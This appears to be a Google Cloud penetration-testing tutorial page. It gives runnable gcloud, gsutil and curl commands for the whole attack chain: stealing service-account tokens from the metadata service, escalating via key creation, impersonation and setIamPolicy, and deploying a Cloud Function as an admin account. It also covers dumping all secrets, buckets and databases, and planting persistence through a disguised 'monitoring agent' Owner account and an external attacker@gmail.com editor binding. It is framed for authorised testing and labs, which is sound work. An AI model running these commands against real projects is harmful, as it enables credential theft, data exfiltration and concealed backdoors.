Cloud Security
GCP Pentesting
Google Cloud Platform (GCP) assessments focus on IAM service accounts, Cloud Storage buckets, Compute Engine instances, and Cloud Functions. GCP's service-account-centric model creates unique privilege escalation paths not found in AWS or Azure.
GCP Pentesting Kill Chain
flowchart LR
R["🔍 Recon
Project Enum
Bucket Discovery"] --> IA["🚪 Initial Access
SSRF / Metadata
Exposed SA Keys"]
IA --> E["📋 Enumerate
IAM / SAs
Services"]
E --> PE["⬆️ Priv Esc
SA Impersonation
setIamPolicy"]
PE --> LM["↔️ Lateral Move
Cross-Project
Workload Identity"]
LM --> P["🔒 Persist
SA Key Create
Custom Roles"]
P --> EX["📤 Exfiltrate
GCS Sync
Secrets Dump"]
Initial Access & Enumeration
Authentication & Project Discovery
bash
# Authenticate with user credentials
gcloud auth login
# Authenticate with stolen service account key
gcloud auth activate-service-account --key-file=key.json
# Check current identity and active project
gcloud config list
gcloud auth list
gcloud projects list # List all projects you have access to
gcloud config set project PROJECT_ID# Authenticate with user credentials
gcloud auth login
# Authenticate with stolen service account key
gcloud auth activate-service-account --key-file=key.json
# Check current identity and active project
gcloud config list
gcloud auth list
gcloud projects list # List all projects you have access to
gcloud config set project PROJECT_IDIAM & Service Account Enumeration
bash
# List service accounts (these are the primary attack targets in GCP)
gcloud iam service-accounts list --format="table(email,displayName,disabled)"
# Get project-level IAM policy (who has what roles)
gcloud projects get-iam-policy PROJECT_ID --format=json
# List all custom roles (may have overly permissive definitions)
gcloud iam roles list --project=PROJECT_ID
# Check your own permissions
gcloud projects get-iam-policy PROJECT_ID --flatten="bindings[].members" --filter="bindings.members:$(gcloud config get-value account)" --format="table(bindings.role)"
# Enumerate service account keys (look for user-managed keys)
for SA in $(gcloud iam service-accounts list --format="value(email)"); do
echo "=== $SA ==="
gcloud iam service-accounts keys list --iam-account="$SA" --format="table(keyId,keyType,validAfterTime)"
done# List service accounts (these are the primary attack targets in GCP)
gcloud iam service-accounts list --format="table(email,displayName,disabled)"
# Get project-level IAM policy (who has what roles)
gcloud projects get-iam-policy PROJECT_ID --format=json
# List all custom roles (may have overly permissive definitions)
gcloud iam roles list --project=PROJECT_ID
# Check your own permissions
gcloud projects get-iam-policy PROJECT_ID --flatten="bindings[].members" --filter="bindings.members:$(gcloud config get-value account)" --format="table(bindings.role)"
# Enumerate service account keys (look for user-managed keys)
for SA in $(gcloud iam service-accounts list --format="value(email)"); do
echo "=== $SA ==="
gcloud iam service-accounts keys list --iam-account="$SA" --format="table(keyId,keyType,validAfterTime)"
doneService Enumeration
bash
# Compute Engine instances (check for default SA, public IPs)
gcloud compute instances list --format="table(name,zone,status,networkInterfaces[0].accessConfigs[0].natIP,serviceAccounts[0].email)"
# Storage buckets
gsutil ls
gsutil ls -L gs://bucket-name/ # Detailed listing with ACLs
# Check for PUBLIC buckets (unauthenticated)
curl -s "https://storage.googleapis.com/bucket-name/"
# Cloud Functions (code may contain secrets)
gcloud functions list --format="table(name,runtime,status,serviceAccountEmail)"
gcloud functions describe FUNCTION_NAME --format=json
# Cloud SQL instances (database endpoints)
gcloud sql instances list --format="table(name,databaseVersion,ipAddresses)"
# Secret Manager
gcloud secrets list
gcloud secrets versions access latest --secret="secret-name"
# Cloud Run services
gcloud run services list --format="table(name,region,URL)"
# GKE clusters
gcloud container clusters list --format="table(name,zone,status,currentNodeCount)"# Compute Engine instances (check for default SA, public IPs)
gcloud compute instances list --format="table(name,zone,status,networkInterfaces[0].accessConfigs[0].natIP,serviceAccounts[0].email)"
# Storage buckets
gsutil ls
gsutil ls -L gs://bucket-name/ # Detailed listing with ACLs
# Check for PUBLIC buckets (unauthenticated)
curl -s "https://storage.googleapis.com/bucket-name/"
# Cloud Functions (code may contain secrets)
gcloud functions list --format="table(name,runtime,status,serviceAccountEmail)"
gcloud functions describe FUNCTION_NAME --format=json
# Cloud SQL instances (database endpoints)
gcloud sql instances list --format="table(name,databaseVersion,ipAddresses)"
# Secret Manager
gcloud secrets list
gcloud secrets versions access latest --secret="secret-name"
# Cloud Run services
gcloud run services list --format="table(name,region,URL)"
# GKE clusters
gcloud container clusters list --format="table(name,zone,status,currentNodeCount)"Metadata Service Exploitation
Warning
GCP metadata requires the
Metadata-Flavor: Google header, which blocks most
basic SSRF attacks. However, SSRF via user-controlled HTTP libraries that forward headers can still reach it.
bash
# GCP metadata service (requires header — unlike AWS IMDSv1)
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/
# Instance identity and attributes
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/hostname
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/zone
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/attributes/
# Get the default service account access token (CRITICAL)
curl -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"
# Returns: {"access_token":"ya29.xxx","expires_in":3599,"token_type":"Bearer"}
# Get the service account email
curl -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email"
# Get custom metadata (startup scripts often contain secrets)
curl -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/instance/attributes/startup-script"
# Project-wide metadata
curl -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/project/attributes/"
# Use stolen token from attacker machine
curl -H "Authorization: Bearer ya29.xxx" "https://cloudresourcemanager.googleapis.com/v1/projects"# GCP metadata service (requires header — unlike AWS IMDSv1)
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/
# Instance identity and attributes
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/hostname
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/zone
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/attributes/
# Get the default service account access token (CRITICAL)
curl -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"
# Returns: {"access_token":"ya29.xxx","expires_in":3599,"token_type":"Bearer"}
# Get the service account email
curl -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email"
# Get custom metadata (startup scripts often contain secrets)
curl -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/instance/attributes/startup-script"
# Project-wide metadata
curl -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/project/attributes/"
# Use stolen token from attacker machine
curl -H "Authorization: Bearer ya29.xxx" "https://cloudresourcemanager.googleapis.com/v1/projects"Privilege Escalation
GCP privilege escalation revolves around service account impersonation and
IAM policy manipulation. The iam.serviceAccounts.actAs permission
is GCP's equivalent of AWS iam:PassRole.
| Technique | Required Permission | Impact |
|---|---|---|
| Create SA key | iam.serviceAccountKeys.create | Persistent access as any SA |
| Impersonate SA token | iam.serviceAccounts.getAccessToken | Short-lived token as any SA |
| Set IAM policy | resourcemanager.projects.setIamPolicy | Grant yourself Owner role |
| Deploy Cloud Function as SA | cloudfunctions.functions.create + actAs | Execute code as privileged SA |
| Compute instance as SA | compute.instances.create + actAs | SSH into VM running as target SA |
bash
# === Service Account Key Creation (persistent backdoor) ===
# If you have iam.serviceAccountKeys.create on a high-priv SA:
gcloud iam service-accounts keys create /tmp/key.json --iam-account=admin-sa@project-id.iam.gserviceaccount.com
gcloud auth activate-service-account --key-file=/tmp/key.json
# === Service Account Token Impersonation ===
# If you have iam.serviceAccounts.getAccessToken:
gcloud auth print-access-token --impersonate-service-account=admin-sa@project-id.iam.gserviceaccount.com
# === setIamPolicy — Grant yourself Owner ===
# Get current policy, add your account, set it back
gcloud projects get-iam-policy PROJECT_ID --format=json > /tmp/policy.json
# Edit policy.json to add your account as roles/owner
gcloud projects set-iam-policy PROJECT_ID /tmp/policy.json
# === Cloud Function priv esc (execute code as target SA) ===
cat > /tmp/main.py << 'FUNC'
import subprocess, json
def escalate(request):
# This function runs as the SA assigned to it
result = subprocess.run(['gcloud', 'projects', 'get-iam-policy', 'PROJECT_ID', '--format=json'],
capture_output=True, text=True)
return result.stdout
FUNC
gcloud functions deploy escalate --runtime=python312 --trigger-http --allow-unauthenticated --service-account=admin-sa@project-id.iam.gserviceaccount.com --source=/tmp/ --entry-point=escalate
# === Compute Engine priv esc (SSH into VM with target SA) ===
gcloud compute instances create privesc-vm --zone=us-central1-a --service-account=admin-sa@project-id.iam.gserviceaccount.com --scopes=cloud-platform --image-family=debian-12 --image-project=debian-cloud
gcloud compute ssh privesc-vm --zone=us-central1-a
# Now inside VM: curl metadata to get admin SA token# === Service Account Key Creation (persistent backdoor) ===
# If you have iam.serviceAccountKeys.create on a high-priv SA:
gcloud iam service-accounts keys create /tmp/key.json --iam-account=admin-sa@project-id.iam.gserviceaccount.com
gcloud auth activate-service-account --key-file=/tmp/key.json
# === Service Account Token Impersonation ===
# If you have iam.serviceAccounts.getAccessToken:
gcloud auth print-access-token --impersonate-service-account=admin-sa@project-id.iam.gserviceaccount.com
# === setIamPolicy — Grant yourself Owner ===
# Get current policy, add your account, set it back
gcloud projects get-iam-policy PROJECT_ID --format=json > /tmp/policy.json
# Edit policy.json to add your account as roles/owner
gcloud projects set-iam-policy PROJECT_ID /tmp/policy.json
# === Cloud Function priv esc (execute code as target SA) ===
cat > /tmp/main.py << 'FUNC'
import subprocess, json
def escalate(request):
# This function runs as the SA assigned to it
result = subprocess.run(['gcloud', 'projects', 'get-iam-policy', 'PROJECT_ID', '--format=json'],
capture_output=True, text=True)
return result.stdout
FUNC
gcloud functions deploy escalate --runtime=python312 --trigger-http --allow-unauthenticated --service-account=admin-sa@project-id.iam.gserviceaccount.com --source=/tmp/ --entry-point=escalate
# === Compute Engine priv esc (SSH into VM with target SA) ===
gcloud compute instances create privesc-vm --zone=us-central1-a --service-account=admin-sa@project-id.iam.gserviceaccount.com --scopes=cloud-platform --image-family=debian-12 --image-project=debian-cloud
gcloud compute ssh privesc-vm --zone=us-central1-a
# Now inside VM: curl metadata to get admin SA tokenPost-Exploitation & Persistence
bash
# === Data Exfiltration ===
# Sync entire bucket to local disk
gsutil -m cp -r gs://sensitive-bucket/ ./exfil/
# Dump all secrets from Secret Manager
for secret in $(gcloud secrets list --format="value(name)"); do
echo "=== $secret ==="
gcloud secrets versions access latest --secret="$secret" 2>/dev/null
done
# Export Cloud SQL database
gcloud sql export sql INSTANCE_NAME gs://your-bucket/dump.sql --database=production
# Download Cloud Function source code (may contain hardcoded secrets)
for func in $(gcloud functions list --format="value(name)"); do
echo "[+] Downloading $func"
gcloud functions describe "$func" --format="value(sourceArchiveUrl)" | xargs -I{} gsutil cp {} "/tmp/$func.zip"
unzip -o "/tmp/$func.zip" -d "/tmp/$func/" 2>/dev/null
grep -rn "password|secret|key|token|api_key" "/tmp/$func/" 2>/dev/null
done
# === Persistence ===
# 1. Create SA key for long-term access
gcloud iam service-accounts keys create /tmp/backdoor-key.json --iam-account=existing-sa@project-id.iam.gserviceaccount.com
# 2. Create a new service account that blends in
gcloud iam service-accounts create svc-monitoring-agent --display-name="Monitoring Agent"
gcloud projects add-iam-policy-binding PROJECT_ID --member="serviceAccount:svc-monitoring-agent@PROJECT_ID.iam.gserviceaccount.com" --role="roles/owner"
gcloud iam service-accounts keys create /tmp/persist.json --iam-account=svc-monitoring-agent@PROJECT_ID.iam.gserviceaccount.com
# 3. Add external account to IAM policy (cross-org persistence)
gcloud projects add-iam-policy-binding PROJECT_ID --member="user:attacker@gmail.com" --role="roles/editor"
# === Audit Log Awareness ===
# Check which services have audit logging enabled
gcloud projects get-iam-policy PROJECT_ID --format=json | jq '.auditConfigs'
# Note: Admin Activity logs are always on; Data Access logs may not be enabled# === Data Exfiltration ===
# Sync entire bucket to local disk
gsutil -m cp -r gs://sensitive-bucket/ ./exfil/
# Dump all secrets from Secret Manager
for secret in $(gcloud secrets list --format="value(name)"); do
echo "=== $secret ==="
gcloud secrets versions access latest --secret="$secret" 2>/dev/null
done
# Export Cloud SQL database
gcloud sql export sql INSTANCE_NAME gs://your-bucket/dump.sql --database=production
# Download Cloud Function source code (may contain hardcoded secrets)
for func in $(gcloud functions list --format="value(name)"); do
echo "[+] Downloading $func"
gcloud functions describe "$func" --format="value(sourceArchiveUrl)" | xargs -I{} gsutil cp {} "/tmp/$func.zip"
unzip -o "/tmp/$func.zip" -d "/tmp/$func/" 2>/dev/null
grep -rn "password|secret|key|token|api_key" "/tmp/$func/" 2>/dev/null
done
# === Persistence ===
# 1. Create SA key for long-term access
gcloud iam service-accounts keys create /tmp/backdoor-key.json --iam-account=existing-sa@project-id.iam.gserviceaccount.com
# 2. Create a new service account that blends in
gcloud iam service-accounts create svc-monitoring-agent --display-name="Monitoring Agent"
gcloud projects add-iam-policy-binding PROJECT_ID --member="serviceAccount:svc-monitoring-agent@PROJECT_ID.iam.gserviceaccount.com" --role="roles/owner"
gcloud iam service-accounts keys create /tmp/persist.json --iam-account=svc-monitoring-agent@PROJECT_ID.iam.gserviceaccount.com
# 3. Add external account to IAM policy (cross-org persistence)
gcloud projects add-iam-policy-binding PROJECT_ID --member="user:attacker@gmail.com" --role="roles/editor"
# === Audit Log Awareness ===
# Check which services have audit logging enabled
gcloud projects get-iam-policy PROJECT_ID --format=json | jq '.auditConfigs'
# Note: Admin Activity logs are always on; Data Access logs may not be enabledGCP Tools
| Tool | Category | Best For |
|---|---|---|
| GCPBucketBrute | Enumeration | Brute-force bucket discovery and ACL testing |
| gcp_enum | Enumeration | Automated GCP resource enumeration and export |
| Hayat | Exploitation | IAM privilege escalation path discovery |
| ScoutSuite | Auditing | Multi-cloud security audit with HTML reports |
| Prowler | Auditing | CIS benchmark compliance checking |
| gcloud CLI | Client | Official CLI — essential for manual testing |
🎯
GCP Pentesting Labs
Hands-on labs targeting GCP-specific attack techniques.
🔧
Service Account Key Theft & Impersonation Custom Lab medium
Deploy a Compute Engine VM with a default service accountExploit metadata service to retrieve the SA access tokenUse the token to enumerate project IAM policies and storage bucketsCreate a new SA key for persistent access (iam.serviceAccountKeys.create)Impersonate the SA from your local machine using the key fileClean up: delete the key and revoke the token
🔧
GCP Privilege Escalation via setIamPolicy Custom Lab hard
Start with a service account that has resourcemanager.projects.setIamPolicyGet the current project IAM policy and identify escalation pathsGrant your account the Owner role via setIamPolicyDeploy a Cloud Function as a highly privileged SA (actAs + create)Extract secrets from Secret Manager and Cloud SQLDocument the full privilege escalation chain with evidence
🔧
GCS Bucket Misconfiguration Audit Custom Lab easy
Use GCPBucketBrute to discover public buckets in the lab projectCheck bucket-level and object-level ACLs with gsutilAttempt unauthenticated reads and writes to misconfigured bucketsRun ScoutSuite or Prowler against the project for comprehensive findingsMap findings to CIS GCP Foundations Benchmark controls